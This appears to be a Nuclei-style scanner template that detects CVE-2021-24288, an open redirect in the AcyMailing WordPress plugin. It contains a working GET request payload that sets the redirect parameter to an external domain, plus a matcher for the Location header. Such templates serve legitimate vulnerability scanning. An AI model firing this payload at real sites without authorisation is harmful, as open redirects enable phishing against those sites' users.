id: CVE-2021-24288

info:
  name: AcyMailing < 7.5.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: When using acymailing to subscribe to a newsletter, you make a POST request with various parameters. Turning that to a GET request and adding the parameters as GET parameters, you can successfully go through with the subscription.
  reference: https://wpscan.com/vulnerability/56628862-1687-4862-9ed4-145d8dfbca97
  tags: wordpress,cve,cve2021,redirect,wp-plugin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-24288
    cwe-id: CWE-601

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=acymailing_front&ctrl=frontusers&noheader=1&user[email]=example@mail.com&ctrl=frontusers&task=subscribe&option=acymailing&redirect=https://example.com&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
        part: header